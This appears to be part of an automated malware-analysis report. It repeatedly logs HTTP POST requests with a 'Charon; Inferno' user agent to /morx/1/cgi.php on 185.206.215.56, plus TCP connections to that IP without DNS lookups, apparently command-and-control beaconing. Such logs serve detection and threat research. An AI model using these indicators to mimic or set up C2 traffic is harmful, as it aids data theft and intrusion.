Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close

Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
